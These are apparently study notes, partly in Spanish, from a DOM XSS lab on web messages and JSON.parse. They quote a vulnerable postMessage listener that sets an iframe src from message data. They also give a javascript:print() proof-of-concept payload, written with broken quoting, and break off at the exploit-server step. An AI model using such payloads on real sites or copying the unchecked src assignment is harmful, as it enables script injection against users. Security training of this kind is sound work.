3 - DOM XSS using web messages and JSON.parse

window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {
            element: iframe
        },
        d;
    document.body.appendChild(iframe);
    try {
        d = JSON.parse(e.data); #Lo convierte en un elemento de tipo JSON
    } catch (e) {
        return;
    }
    switch (d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;
        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;
        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);

Este código JavaScript escucha los mensajes enviados a la ventana del navegador (window) y ejecuta ciertas acciones en función del contenido del mensaje. A continuación, te explico el código paso a paso:

1. Escuchador de Eventos (window.addEventListener('message', ...)):

2. Creación de un iframe (var iframe = document.createElement('iframe')):

3. Intento de Parseo del Mensaje (try { d = JSON.parse(e.data); } catch(e) { return; }):

4. Manejo del Mensaje (switch(d.type) {...}):

Payload que ejecuta print()

Desde consola :

postMessage("{"type":"load-channel","url":"javascript:print()"}","*")

Desde exploit server :
`